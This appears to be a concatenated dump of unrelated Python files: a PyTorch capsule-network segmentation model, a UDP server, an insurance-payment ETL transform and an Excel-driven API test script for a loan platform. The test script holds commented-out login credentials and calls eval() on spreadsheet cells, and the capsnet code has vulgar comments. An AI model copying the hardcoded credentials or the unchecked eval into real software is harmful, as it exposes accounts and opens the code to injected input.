torch.nn.Parameter(torch.zeros(1,\n self.output_caps_maps,\n self.new_hl,\n self.new_wl,\n self.input_caps_maps))\n '''\n self.b = torch.zeros((1,\n self.output_caps_maps,\n self.new_hl,\n self.new_wl,\n self.input_caps_maps), device = 'cuda:0') # , device = 'cuda:0')\n \n #self.bias = self.bias.repeat((1, 1, self.new_hl, self.new_wl, 1))\n \n def forward(self, tensor_of_prediction_vector):\n #print('now we doing routing')\n c = self.softmax(self.b)\n \n #print(c.size(),'c')\n #print(tensor_of_prediction_vector.size(), 'pred vectors')\n \n \n #output_vectors = torch.mul(tensor_of_prediction_vector, c.unsqueeze(-1)) \n output_vectors = torch.mul(c.unsqueeze(-1), tensor_of_prediction_vector) \n \n #print(output_vectors.size(), 'output vectors after *c')\n #print(self.bias.size(), 'repeated bias size')\n \n output_vectors = output_vectors.sum(dim=-2) #+ self.bias\n \n #print(output_vectors.size(), 'output vectors after sum')\n \n #print(output_vectors.size())\n output_vectors = squash(output_vectors, axis = -1)\n #print(output_vectors.size(), 'should be good')\n b_batch = self.b\n \n #print('routing loop')\n for d in range(self.num_iterations):\n \n #print('preds', tensor_of_prediction_vector.size())\n #print('out', output_vectors.size())\n \n b_batch = b_batch + torch.mul(tensor_of_prediction_vector,\n output_vectors.unsqueeze(-2)).sum(dim = -1)\n '''\n distances = torch.mul(tensor_of_prediction_vector,\n output_vectors.unsqueeze(-2)).sum(dim = -1)\n \n self.b = torch.add(self.b, distances)\n '''\n #b_batch = b_batch.sum(dim = -1)\n \n #b_batch = \n #print('bbatch', b_batch.size())\n \n c = self.softmax(b_batch)\n #print(c.size())\n output_vectors = torch.mul(tensor_of_prediction_vector,\n c.unsqueeze(-1))\n \n output_vectors = output_vectors.sum(-2)\n output_vectors = squash(output_vectors,\n axis = -1)\n #print(c.size())\n #print(tensor_of_prediction_vector.size())\n #print(output_vectors.size())\n self.c = c\n \n return output_vectors\n###############################################################################\n \n \nclass Get_Abstract_Caps_Up(torch.nn.Module):\n \"\"\"This is the abstract caps layer. We take in an input of the capsules\n of the previous layer and then output predictions of abstract capsules.\n \n notes:\n . padding must be tuple (x,y)\n . if uptype == 'upsample' used \n > padding is autocalculated, even with user input\n > stride = 1 is set, even with user stride != 1\n . \n . output_padding only required if uptype == 'deconv' \n . output_padding, if used, must be tuple (x,y)\n \"\"\"\n def __init__(self, \n batch_size,\n capsin_n_maps,\n capsin_n_dims,\n capsout_n_maps,\n capsout_n_dims,\n old_h,\n old_w,\n y_kernel,\n x_kernel,\n stride,\n padding, #MUST E A TUPLE CUNNY\n output_padding, #outpadding must be a TUPLE BIATCH, also i\n uptype = 'deconv',\n across = True):\n super(Get_Abstract_Caps_Up, self).__init__()\n \n self.batch_size = batch_size\n self.capsin_n_dims = capsin_n_dims\n self.capsin_n_maps = capsin_n_maps \n self.capsout_n_maps = capsout_n_maps \n self.capsout_n_dims = capsout_n_dims\n \n self.old_h = old_h\n self.old_w = old_w\n self.y_kernel = y_kernel\n self.x_kernel = x_kernel\n self.stride = stride\n self.padding = padding\n self.output_padding = output_padding\n self.uptype = uptype\n self.across = across\n \n #this is a SPECIAL BIAS! it doesnt go into our conv opertaion\n #we replicate it later and use it for the caps\n self.bias = torch.nn.Parameter(torch.Tensor(1,\n self.capsout_n_maps,\n 1,\n 1,\n self.capsout_n_dims)) \n \n self.reset_parameters()\n \n pady = self.padding[0]\n padx = self.padding[1]\n \n\n\n #+1 refers to output padding\n self.new_hl = (self.old_h-1)*self.stride + self.y_kernel - 2*pady + self.output_padding[0]\n #self.new_hl = (self.new_hl - 1 + 0) / 1 + 1\n \n #+0 refers to output padding\n self.new_wl = (self.old_w-1)*self.stride + self.x_kernel - 2*padx + self.output_padding[1]\n #self.predict_vectors = Predict_Vectors_Down(self.W, self.bias)\n \n if self.uptype == 'deconv':\n #calculate final prediction heights and widths for routing\n \n\n #self.new_wl = (self.new_wl - 1 + 0) / 1 + 1\n \n self.capsconv2d_up = torch.nn.ConvTranspose2d(in_channels = self.capsin_n_maps*self.capsin_n_dims,\n out_channels = self.capsout_n_maps*self.capsout_n_dims,\n kernel_size = (self.y_kernel, self.x_kernel),\n stride = self.stride,\n padding = self.padding,\n output_padding = self.output_padding,\n bias = True)\n \n elif self.uptype == 'upsample':\n pady = int((self.y_kernel - 1)/2)\n padx = int((self.x_kernel - 1)/2)\n self.padding = (pady, padx)\n self.capsconv2d_up = torch.nn.Conv2d(in_channels = self.capsin_n_maps*self.capsin_n_dims,\n out_channels = self.capsout_n_maps*self.capsout_n_dims,\n kernel_size = (self.y_kernel, self.x_kernel),\n stride = 1,\n padding = self.padding,\n bias = True)\n \n\n #init routing algorithm\n self.routing = Agreement_Routing_Down(bias=self.bias,\n input_caps_maps = self.capsin_n_maps,\n input_caps_dim = self.capsin_n_dims,\n output_caps_maps = self.capsout_n_maps,\n output_caps_dim = self.capsout_n_dims,\n new_hl = self.new_hl,\n new_wl = self.new_wl,\n num_iterations = 2)\n\n def infer_shapes(self):\n return {'caps maps': self.capsout_n_maps,\n 'caps dims': self.capsout_n_dims,\n 'h': self.new_hl,\n 'w': self.new_wl}\n \n def reset_parameters(self):\n stdv = 1. / np.sqrt(self.capsin_n_maps)\n #self.W.data.uniform_(-stdv, stdv)\n self.bias.data.uniform_(-stdv, stdv)\n\n def forward(self, x):\n #print('no we doing abstract caps2u')\n \n #print(self.bias.size(), 'bias size')\n #print(x.size(), 'caps before conv capsule preds' )\n #x = self.predict_vectors(primary_caps)\n #print(self.new_hl)\n batch, input_maps, hold, wold, input_capdims = x.size()\n \n x = x.permute(0, 1, 4, 2, 3)\n #print(x.size())\n \n x = x.contiguous().view([-1,\n input_maps * input_capdims,\n hold,\n wold])\n '''\n x = x.view([-1,\n input_maps * input_capdims,\n hold,\n wold])\n ''' \n if self.uptype == 'deconv':\n x = self.capsconv2d_up(x)\n #print(x.size(), 'after up deconv')\n \n elif self.uptype == 'upsample':\n #print(x.size(),'pre up')\n x = torch.nn.functional.upsample(x,\n size=[self.new_hl, self.new_wl], \n mode='bilinear')\n #print(x.size())\n x = self.capsconv2d_up(x)\n \n \n \n \n \n '''\n if self.across:\n x = self.capsconv2d_across(x)\n #print(x.size(), 'after across conv')\n '''\n \n #just \n _, _, hnew, wnew = x.size()\n \n if self.new_hl != hnew: \n print('Something funny going on with user defined hnew and actual')\n \n \n if self.new_wl != wnew: \n print('Something funny going on with user defined wnew and actual')\n \n #x = x.permute(0, 1, 3, 4, 5, 2)\n x = x.view([batch,\n self.capsout_n_maps,\n self.capsout_n_dims,\n hnew,\n wnew,\n -1])\n \n x = x.permute(0, 1, 3, 4, 5, 2)\n \n #print(x.size(), 'resizing to normal')\n \n x = self.routing(x)\n #print(x.size(), 'out')\n return x\n\n###############################################################################\n \nclass Reconstruction_Layer(torch.nn.Module):\n \"\"\"TThis is the reconstruction layer for the network to learn how to remake\n the original input image\"\"\"\n def __init__(self, \n batch_size,\n capsin_n_maps,\n capsin_n_dims):\n super(Reconstruction_Layer, self).__init__()\n \n self.batch_size = batch_size\n self.capsin_n_dims = capsin_n_dims\n self.capsin_n_maps = capsin_n_maps \n self.relu = torch.nn.ReLU()\n self.sigmoid = torch.nn.Sigmoid()\n \n self.conv1_params = {'i':int(self.capsin_n_maps*self.capsin_n_dims),\n 'o':64,\n 'k':1,\n 's':1,\n 'p':0}\n self.conv1 = torch.nn.Conv2d(in_channels = self.conv1_params['i'],\n out_channels = self.conv1_params['o'],\n kernel_size = self.conv1_params['k'],\n stride = self.conv1_params['s'],\n padding = self.conv1_params['p'])\n \n self.conv2_params = {'i':int(self.conv1_params['o']),\n 'o':128,\n 'k':1,\n 's':1,\n 'p':0}\n self.conv2 = torch.nn.Conv2d(in_channels = self.conv2_params['i'],\n out_channels = self.conv2_params['o'],\n kernel_size = self.conv2_params['k'],\n stride = self.conv2_params['s'],\n padding = self.conv2_params['p'])\n \n self.conv3_params = {'i':int(self.conv2_params['o']),\n 'o':1,\n 'k':1,\n 's':1,\n 'p':0}\n self.conv3 = torch.nn.Conv2d(in_channels = self.conv3_params['i'],\n out_channels = self.conv3_params['o'],\n kernel_size = self.conv3_params['k'],\n stride = self.conv3_params['s'],\n padding = self.conv3_params['p'])\n \n def forward(self, x):\n \n _, _, h, w, _ = x.size()\n #print(x.size())\n x = x.permute(0, 1, 4, 2, 3)\n #print(x.size())\n x = x.contiguous().view([-1,\n self.capsin_n_maps * self.capsin_n_dims,\n h, \n w])\n #print(x.size())\n #x = torch.transpose(x, 3, 4)\n #x = torch.transpose(x, 2, -1)\n \n \n x = self.conv1(x)\n x = self.relu(x)\n \n x = self.conv2(x)\n x = self.relu(x)\n \n x = self.conv3(x)\n x = self.sigmoid(x)\n \n return x\n############################################################################### \n \nclass CapsNet(torch.nn.Module):\n \"\"\"This is the actual model. It has a down line, a bottom pass and then a \n series of up passes. On the up passes we concatenate prior down passes as \n this improves the networks localisation. it is important the the tensors we \n concatenate are the same size. so we use upsampling. Also be aware of the \n channels, we want a lot of channels (~1000) so the network learns intricate\n features.\"\"\"\n def __init__(self, batch_size, uptype):\n super(CapsNet, self).__init__()\n self.batch_size = batch_size\n self.uptype = uptype\n \n self.get_prim_caps = Get_Primary_Caps(caps1_n_maps = 2,\n caps1_caps_grid_ydim = 95,\n caps1_caps_grid_xdim = 128,\n caps1_n_dims = 16)\n prim_params = self.get_prim_caps.output_params()\n \n self.get_abstract_caps1 = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = prim_params['maps out'],\n capsin_n_dims = prim_params['caps dim'],\n capsout_n_maps = 4,\n capsout_n_dims = 32,\n old_h = prim_params['h'],\n old_w = prim_params['w'],\n y_kernel = 5,\n x_kernel = 5,\n stride = 1,\n padding = 0,\n across=True)\n caps1_params = self.get_abstract_caps1.infer_shapes()\n \n self.get_abstract_caps1a = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps1_params['caps maps'],\n capsin_n_dims = caps1_params['caps dims'],\n capsout_n_maps = caps1_params['caps maps'],\n capsout_n_dims = caps1_params['caps dims'],\n old_h = caps1_params['h'],\n old_w = caps1_params['w'],\n y_kernel = 5,\n x_kernel = 5,\n stride = 2,\n padding = 0,\n across=True)\n caps1a_params = self.get_abstract_caps1a.infer_shapes()\n \n self.get_abstract_caps2 = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps1a_params['caps maps'],\n capsin_n_dims = caps1a_params['caps dims'],\n capsout_n_maps = 8,\n capsout_n_dims = 48,\n old_h = int(caps1a_params['h']),\n old_w = int(caps1a_params['w']),\n y_kernel = 5,\n x_kernel = 5,\n stride = 1,\n padding = 0,\n across=True)\n caps2_params = self.get_abstract_caps2.infer_shapes()\n\n self.get_abstract_caps2a = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps2_params['caps maps'],\n capsin_n_dims = caps2_params['caps dims'],\n capsout_n_maps = caps2_params['caps maps'],\n capsout_n_dims = caps2_params['caps dims'],\n old_h = caps2_params['h'],\n old_w = caps2_params['w'],\n y_kernel = 5,\n x_kernel = 5,\n stride = 2,\n padding = 0,\n across=True)\n caps2a_params = self.get_abstract_caps2a.infer_shapes()\n \n self.get_abstract_caps3 = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps2a_params['caps maps'],\n capsin_n_dims = caps2a_params['caps dims'],\n capsout_n_maps = 16,\n capsout_n_dims = 64,\n old_h = int(caps2a_params['h']),\n old_w = int(caps2a_params['w']),\n y_kernel = 5,\n x_kernel = 5,\n stride = 1,\n padding = 0,\n across=True)\n caps3_params = self.get_abstract_caps3.infer_shapes()\n\n self.get_abstract_caps3a = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps3_params['caps maps'],\n capsin_n_dims = caps3_params['caps dims'],\n capsout_n_maps = caps3_params['caps maps'],\n capsout_n_dims = caps3_params['caps dims'],\n old_h = caps3_params['h'],\n old_w = caps3_params['w'],\n y_kernel = 5,\n x_kernel = 5,\n stride = 2,\n padding = 0,\n across=True)\n caps3a_params = self.get_abstract_caps3a.infer_shapes()\n \n self.get_abstract_caps_bot = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps3a_params['caps maps'],\n capsin_n_dims = caps3a_params['caps dims'],\n capsout_n_maps = caps3a_params['caps maps'],\n capsout_n_dims = caps3a_params['caps dims'],\n old_h = int(caps3a_params['h']),\n old_w = int(caps3a_params['w']),\n y_kernel = 1,\n x_kernel = 1,\n stride = 1,\n padding = 0,\n across=True)\n capsbot_params = self.get_abstract_caps_bot.infer_shapes()\n\n self.get_abstract_caps3u = Get_Abstract_Caps_Up(self.batch_size,\n capsin_n_maps = capsbot_params['caps maps'] + caps3_params['caps maps'],\n capsin_n_dims = capsbot_params['caps dims'],\n capsout_n_maps = caps2_params['caps maps'],\n capsout_n_dims = caps2_params['caps dims'],\n old_h = int(capsbot_params['h']),\n old_w = int(capsbot_params['w']),\n y_kernel = 5,\n x_kernel = 5,\n stride = 2,\n padding = (0,0),\n output_padding=(1,1),\n uptype = self.uptype,\n across=True)\n caps3u_params = self.get_abstract_caps3u.infer_shapes()\n \n self.get_abstract_caps3ua = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps3u_params['caps maps'],\n capsin_n_dims = caps3u_params['caps dims'],\n capsout_n_maps = caps3u_params['caps maps'],\n capsout_n_dims = caps3u_params['caps dims'],\n old_h = caps3u_params['h'],\n old_w = caps3u_params['w'],\n y_kernel = 5,\n x_kernel = 5,\n stride = 1,\n padding = 4,\n across=True)\n caps3ua_params = self.get_abstract_caps3ua.infer_shapes()\n \n self.get_abstract_caps2u = Get_Abstract_Caps_Up(self.batch_size,\n capsin_n_maps = caps3ua_params['caps maps'] + caps2_params['caps maps'],\n capsin_n_dims = caps3ua_params['caps dims'],\n capsout_n_maps = caps1_params['caps maps'],\n capsout_n_dims = caps1_params['caps dims'],\n old_h = int(caps3ua_params['h']),\n old_w = int(caps3ua_params['w']),\n y_kernel = 5,\n x_kernel = 5,\n stride = 2,\n padding = (0,0),\n output_padding=(1,1),\n uptype = self.uptype,\n across=True)\n caps2u_params = self.get_abstract_caps2u.infer_shapes()\n \n self.get_abstract_caps2ua = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps2u_params['caps maps'],\n capsin_n_dims = caps2u_params['caps dims'],\n capsout_n_maps = caps2u_params['caps maps'],\n capsout_n_dims = caps2u_params['caps dims'],\n old_h = caps2u_params['h'],\n old_w = caps2u_params['w'],\n y_kernel = 5,\n x_kernel = 5,\n stride = 1,\n padding = 4,\n across=True)\n caps2ua_params = self.get_abstract_caps2ua.infer_shapes()\n \n self.get_abstract_caps1u = Get_Abstract_Caps_Up(self.batch_size,\n capsin_n_maps = caps2ua_params['caps maps'] + caps1_params['caps maps'],\n capsin_n_dims = caps2ua_params['caps dims'],\n capsout_n_maps = prim_params['maps out'],\n capsout_n_dims = prim_params['caps dim'],\n old_h = int(caps2ua_params['h']),\n old_w = int(caps2ua_params['w']),\n y_kernel = 5,\n x_kernel = 5,\n stride = 2,\n padding = (0,0),\n output_padding=(0,1),\n uptype = self.uptype,\n across=True)\n caps1u_params = self.get_abstract_caps1u.infer_shapes()\n\n self.get_abstract_caps1ua = Get_Abstract_Caps_Down(self.batch_size,\n capsin_n_maps = caps1u_params['caps maps'],\n capsin_n_dims = caps1u_params['caps dims'],\n capsout_n_maps = caps1u_params['caps maps'],\n capsout_n_dims = caps1u_params['caps dims'],\n old_h = caps1u_params['h'],\n old_w = caps1u_params['w'],\n y_kernel = 5,\n x_kernel = 5,\n stride = 1,\n padding = 4,\n across=True)\n caps1ua_params = self.get_abstract_caps1ua.infer_shapes()\n \n self.get_abstract_caps_final1 = Get_Abstract_Caps_Up(self.batch_size,\n capsin_n_maps = caps1ua_params['caps maps'] + prim_params['maps out'],\n capsin_n_dims = caps1ua_params['caps dims'],\n capsout_n_maps = 2,\n capsout_n_dims = 4,\n old_h = int(caps1ua_params['h']),\n old_w = int(caps1ua_params['w']),\n y_kernel = 7,\n x_kernel = 7,\n stride = 2,\n padding = (0,0),\n output_padding=(1,1),\n uptype = self.uptype,\n across=True)\n capsfinal1_params = self.get_abstract_caps_final1.infer_shapes()\n \n self.get_abstract_caps_final2 = Get_Abstract_Caps_Up(self.batch_size,\n capsin_n_maps = 2,\n capsin_n_dims = 4,\n capsout_n_maps = 1,\n capsout_n_dims = 16,\n old_h = int(capsfinal1_params['h']),\n old_w = int(capsfinal1_params['w']),\n y_kernel = 7,\n x_kernel = 7,\n stride = 2,\n padding = (9,9),\n output_padding=(1,1),\n uptype = self.uptype,\n across=False)\n\n self.reconstruct = Reconstruction_Layer(self.batch_size,\n capsin_n_maps = 1,\n capsin_n_dims = 16)\n \n def forward(self, x):\n x = self.get_prim_caps(x)\n x_prim = x\n #print(x.size(),'0')\n self.x_prim = x_prim\n #print('##########################FINISHED PRIM#######################')\n x = self.get_abstract_caps1(x)\n \n #print(x.size(), '1')\n x = self.get_abstract_caps1a(x)\n x_1 = x\n #print(x.size(), '1')\n self.x_1 = x_1\n #print('##########################FINISHED 1#######################')\n \n x = self.get_abstract_caps2(x)\n x = self.get_abstract_caps2a(x)\n x_2 = x\n #print(x.size(), '2')\n self.x_2 = x_2\n \n x = self.get_abstract_caps3(x)\n x = self.get_abstract_caps3a(x)\n x_3 = x\n #print(x.size(), '3')\n self.x_3 = x_3\n \n x = self.get_abstract_caps_bot(x)\n #x_bot = x\n #print(x.size(), 'bot')\n \n #gotta be careful on the way up there are double maps\n x = torch.cat((x, x_3), 1)\n \n x = self.get_abstract_caps3u(x)\n #print(x.size(), '3u')\n x = self.get_abstract_caps3ua(x)\n #print(x.size(), '3ua')\n \n\n x = torch.cat((x, x_2), 1)\n x = self.get_abstract_caps2u(x)\n #print(x.size(), '2u')\n x = self.get_abstract_caps2ua(x)\n #print(x.size(), '2ua')\n \n x = torch.cat((x, x_1), 1)\n x = self.get_abstract_caps1u(x)\n #print(x.size(), '1u')\n x = self.get_abstract_caps1ua(x)\n #print(x.size(), '1ua')\n \n x = torch.cat((x, x_prim), 1)\n x = self.get_abstract_caps_final1(x)\n #print(x.size(), 'final1')\n\n x = self.get_abstract_caps_final2(x)\n #print(x.size(), 'final2')\n reconstruct = self.reconstruct(x)\n \n x = safe_norm(x)\n \n \n return x, reconstruct\n\n\n###############################################################################\n \ndef safe_norm(s, axis=-1, epsilon=1e-7):\n squared_norm = torch.mul(s,s).sum(dim=axis)\n return torch.sqrt(squared_norm + epsilon)\n\n###############################################################################\nclass Dice_Loss(torch.nn.Module):\n \"\"\"This is a custom Dice Similarity Coefficient loss function that we use \n to the accuracy of the segmentation. it is defined as ;\n DSC = 2 * (pred /intersect label) / (pred /union label) for the losss we use\n 1- DSC so gradient descent leads to better outputs.\"\"\"\n def __init__(self, weight=None, size_average=False):\n super(Dice_Loss, self).__init__()\n \n def forward(self, pred, label):\n smooth = 1. #helps with backprop\n intersection = torch.sum(pred * label)\n union = torch.sum(pred) + torch.sum(label)\n loss = (2. * intersection + smooth) / (union + smooth)\n #return 1-loss because we want to minimise dissimilarity\n return 1 - (loss)\n\n\n\n'''\n def printskeet(i):\n f, (ax1i, ax1df, ax1l) = plt.subplots(1,3, sharey=True)\n pyplot.tight_layout()\n\n #raw image\n ax1i.imshow(allimages[i,:,:],\n aspect = 'equal')\n #pred\n ax1df.imshow(alldf[i,:,:],\n aspect = 'equal')\n #pred after thresholding\n ax1l.imshow(alllabels[i,:,:],\n aspect = 'equal')\n #original label\n\n f.colorbar(ax1i.imshow(allimages[i,:,:], \n aspect = 'equal'))\n pyplot.show()\n'''","sub_path":"src/outdated/capsnet_utils8.py","file_name":"capsnet_utils8.py","file_ext":"py","file_size_in_byte":49267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"281313195","text":"import socket\n\nsockfd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n\nsockfd.bind((\"0.0.0.0\", 8888))\n\ndata, addr = sockfd.recvfrom(1024)\n\nprint(\"接受到的消息\", data.decode())\n\nn = sockfd.sendto(\"嘻嘻\".encode(), addr)\n\nprint(n)\n\nsockfd.close()\n","sub_path":"untitled/month02/0505(io网络编程)/UDPserver.py","file_name":"UDPserver.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"201619528","text":"#coding=utf-8\n'''\nCreated on 2016年3月28日\n\n@author: cero\nods.hpf_insurance_payment->edw.ht_bx_pay\n'''\n\nimport datetime\n\nfrom common.pgcomm import PGUtils\nfrom common.compare import cmp_update\nfrom common.sqlcomm import formatSql\nfrom settings import logger\n\nfrom transform.transcomm import MODE_FULL,MODE_INCREASE\n\nsource_flag = '03' #源系统标识\n\ntruncate_sql = '''\nTRUNCATE TABLE edw.ht_bx_pay\n'''\n#全量转化sql\ntrans_sql = '''\nINSERT INTO edw.ht_bx_pay (\nsource_id,\nbatch_id,\npay_id,\ncontract_no,\ncust_id,\npay_amnt,\ncur_type,\npay_amnt_rmb,\npay_date,\nremark,\nowner_id,\nsubbranch_id\n)\nSELECT \n%s,\n%s,\ntrim(paymentid),\ntrim(contractno),\ntrim(custid),\nCOALESCE(payamt, 0),\ntrim(paycurtype),\nCOALESCE(payamtrmb, 0),\nto_char(paymentdate,'YYYYMMDD'),\ntrim(remark),\ntrim(ownerid),\ntrim(subbranchid)\nFROM ods.hpf_insurance_payment\nWHERE contractno IS NOT NULL AND custId IS NOT NULL\n'''\n\ninsert_sql = '''\nINSERT INTO edw.ht_bx_pay (\nsource_id,\nbatch_id,\npay_id,\ncontract_no,\ncust_id,\npay_amnt,\ncur_type,\npay_amnt_rmb,\npay_date,\nremark,\nowner_id,\nsubbranch_id\n)VALUES(\n %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s\n)\n'''\n\nselect_src_sql = '''\nSELECT \n%s,\n%s,\ntrim(paymentid),\ntrim(contractno),\ntrim(custid),\nCOALESCE(payamt, 0),\ntrim(paycurtype),\nCOALESCE(payamtrmb, 0),\nto_char(paymentdate,'YYYYMMDD'),\ntrim(remark),\ntrim(ownerid),\ntrim(subbranchid)\nFROM ods.hpf_insurance_payment\nWHERE contractno IS NOT NULL AND custId IS NOT NULL\nAND (updateTime >= %s OR createDT >= %s)\n'''\n\nselect_cur_value_src = '''\nSELECT to_char(MAX(CASE WHEN updatetime IS NULL THEN createdt ELSE updatetime END), 'YYYYMMDD')\nFROM ods.hpf_insurance_payment\n'''\n\ndef full_trans(conn,batch_id):\n with conn.cursor() as cur:\n logger.info('执行清空目标表edw.ht_bx_pay')\n logger.debug(formatSql(truncate_sql))\n cur.execute(formatSql(truncate_sql))\n logger.info('执行全量转化ods.hpf_insurance_payment')\n logger.debug(formatSql(trans_sql)%(source_flag, batch_id))\n cur.execute(trans_sql, (source_flag, batch_id))\n \ndef sub_trans(conn,batch_id,cur_value_desc):\n with conn.cursor() as cur:\n logger.info('查询需要增量的记录')\n logger.debug(formatSql(select_src_sql)) \n cur.execute(select_src_sql, (source_flag, batch_id, cur_value_desc, cur_value_desc))\n logger.info('检查选定字段值以确定加载模式(新增或更新)')\n for record in cur:\n columnname = ('contract_no','cust_id','pay_amnt','cur_type','pay_amnt_rmb','pay_date','remark',\n 'owner_id','subbranch_id',)\n cmp_update(conn, record[3:12], 'edw.ht_bx_pay', 'pay_id', record[2], insert_sql, columnname, record)\n \ndef transform(mode, batch_id, cur_value_desc):\n start = datetime.datetime.now()\n logger.info('start...保险合同缴费表ods.hpf_insurance_payment->edw.ht_bx_pay转化开始')\n pgObj = PGUtils()\n conn = pgObj.getConnection()\n try:\n with conn:\n if mode == MODE_FULL: #全量转化\n logger.info('当前模式:全量转化')\n full_trans(conn, batch_id)\n \n elif mode == MODE_INCREASE: #增量转化\n logger.info('当前模式:增量转化,目标表当前值%s'%cur_value_desc)\n sub_trans(conn, batch_id, cur_value_desc)\n finally:\n conn.close()\n end = datetime.datetime.now()\n logger.info('end...ods.hpf_insurance_payment->edw.ht_bx_pay转化完成,耗时%s'%(end-start).seconds)\n return True\ndef get_last_update():\n pgObj = PGUtils()\n conn = pgObj.getConnection()\n #获取本表最后更新时间\n try:\n with conn:\n cur = conn.cursor()\n cur.execute(select_cur_value_src)\n cur_value_src = cur.fetchone()\n if cur_value_src and cur_value_src[0] != None:\n return cur_value_src[0]\n else:\n return ''\n finally:\n conn.close() ","sub_path":"etl/datadeal/scripts/transform/trans_hpf_insurance_payment.py","file_name":"trans_hpf_insurance_payment.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"434936686","text":"# encoding: UTF-8\n# coding: UTF-8\n\nimport requests\nimport openpyxl\n\n# 注册请求\n# url_reg = \"http://120.78.128.25:8766/futureloan/member/register\" # 请求行\n# headers_reg = {\"X-Lemonban-Media-Type\":\"lemonban.v2\",\"Content-Type\":\"application/json\"} # 请求头\n# data_reg = {\"mobile_phone\":\"15501030824\",\"pwd\":\"lemontree0123456\",\"type\":\"0\",\"reg_name\":\"hi\"} # 请求正文\n# result_reg = requests.post(url=url_reg,headers=headers_reg,json=data_reg)\n# print(result_reg) # 返回http状态码\n# print(result_reg.status_code) # 返回http状态码\n# print(result_reg.headers) # 返回响应头\n# print(result_reg.json()) # 获取响应正文\n# print(result_reg.text) # 获取响应正文\n\n# 登录请求\n# url_login = \"http://120.78.128.25:8766/futureloan/member/login\"\n# headers_login = {\"X-Lemonban-Media-Type\":\"lemonban.v2\",\"Content-Type\":\"application/json\"}\n# data_login = {\"mobile_phone\": \"15501030824\",\"pwd\":\"lemontree0123456\"}\n# res_login = requests.post(url=url_login,headers=headers_login,json=data_login).json()\n# print(res_login)\n# url_recharge = \"http://120.78.128.25:8766/futureloan/member/recharge\"\n# Token = res_login['data']['token_info']['token']\n# recharge_id = res_login['data']['id']\n# headers_recharge = {\"X-Lemonban-Media-Type\":\"lemonban.v2\",\"Content-Type\":\"application/json\",\"Authorization\":\"Bearer \"+Token}\n# data_recharge = {\"member_id\":recharge_id,\"amount\":500000}\n# res_recharge = requests.post(url=url_recharge,headers=headers_recharge,json=data_recharge).text\n# print(res_recharge)\n\n\n\n\n# 自定义一个函数,形参包括位置参数/默认参数/不定长参数\n# def good_job(salary, bonus, *args, subsidy=500, **kwargs):\n# sum1 = salary + bonus + subsidy\n# for i in args:\n# sum1 += i\n# for j in kwargs.values():\n# sum1 += j\n# return sum1 # 以上为函数的定义\n\n# in_total = good_job(100000, 500000, 200000, 100000, others=5000) # 此处为函数的调用\n# print(in_total)\n# print(good_job(100000, 500000, 200000, 100000, others=5000))\n\n\n\n# 函数 -- openpyxl读取测试用例,并把每条测试用例以字典(键值对)类型保存在列表里\nimport openpyxl\ndef read_case(wb_name,sh_name):\n wb = openpyxl.load_workbook(wb_name)\n sh = wb[sh_name]\n rowmax = sh.max_row\n list_reg = []\n for i in range(2, rowmax+1) :\n dict_reg = dict(case_id = sh.cell(row=i,column=1).value,\n url_reg = sh.cell(row=i,column=5).value,\n data_reg = sh.cell(row=i,column=6).value,\n expect_reg = sh.cell(row=i,column=7).value)\n list_reg.append(dict_reg)\n return list_reg\n\n# case_of_reg = read_case('test_case_api.xlsx','register')\n# print(case_of_reg)\n\n\n\n# 函数 -- requests发送注册或登录接口请求\nimport requests\ndef api_test(url1,data1):\n headers1 = {\"X-Lemonban-Media-Type\":\"lemonban.v2\",\"Content-Type\":\"application/json\"}\n res_api_test = requests.post(url=url1,headers=headers1,json=data1).json()\n return res_api_test\n#\n# url_login = \"http://120.78.128.25:8766/futureloan/member/login\"\n# data_login = {\"mobile_phone\": \"15501030824\",\"pwd\":\"lemontree0123456\"}\n# res_api_login = api_test(url1=url_login,data1=data_login)\n# print(res_api_login)\n\n\n# 函数 -- openpyxl写入断言结果\ndef write_res(wb_name,sh_name,row,column,final_res):\n wb = openpyxl.load_workbook(wb_name)\n sh = wb[sh_name]\n sh.cell(row=row,column=column).value = final_res\n wb.save(wb_name)\n\n\ncases = read_case('/Users/tiancai/Downloads/lemon/Lemonclass-all projects/Project 3-API test/test_case01.xlsx','login')\nfor case in cases:\n case_id = case['case_id']\n url = case['url_reg']\n data = eval(case['data_reg'])\n expect = eval(case['expect_reg'])\n expect_code = expect['code']\n expect_msg = expect['msg']\n real_res_api_reg = api_test(url1=url,data1=data)\n real_code = real_res_api_reg['code']\n real_msg = real_res_api_reg['msg']\n print(\"期望结果为:{},{}\".format(expect_code,expect_msg))\n print(\"实际结果为:{},{}\".format(real_code,real_msg))\n if expect_code == real_code and expect_msg == real_msg:\n print('第{}条用例执行通过'.format(case_id))\n final_res = 'passed'\n else:\n print('第{}条用例执行不通过'.format(case_id))\n final_res ='failed'\n print('*'*20)\n write_res('/Users/tiancai/Downloads/lemon/Lemonclass-all projects/Project 3-API test/test_case01.xlsx','login', case_id+1, 8, final_res)","sub_path":"lesson01.py","file_name":"lesson01.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"558672949","text":"import os\nimport time\nimport numpy as np\nfrom scipy.optimize import fmin_l_bfgs_b\nfrom util import read_data, print_model, read_model, score\n\ndef main(regular: bool):\n if regular==True:\n from crf_with_regular import likelihood, likelihood_prime, predict\n else:\n from crf import likelihood, likelihood_prime, predict\n\n # 载入训练、测试数据\n train_data = read_data('Dataset/train/*')\n test_data = read_data('Dataset/test/*')\n print('Successfully read:', len(train_data), 'train, ',len(test_data),'test')\n\n # 生成字典\n alphabet = []\n for label,feature in train_data:\n for w in label:\n if 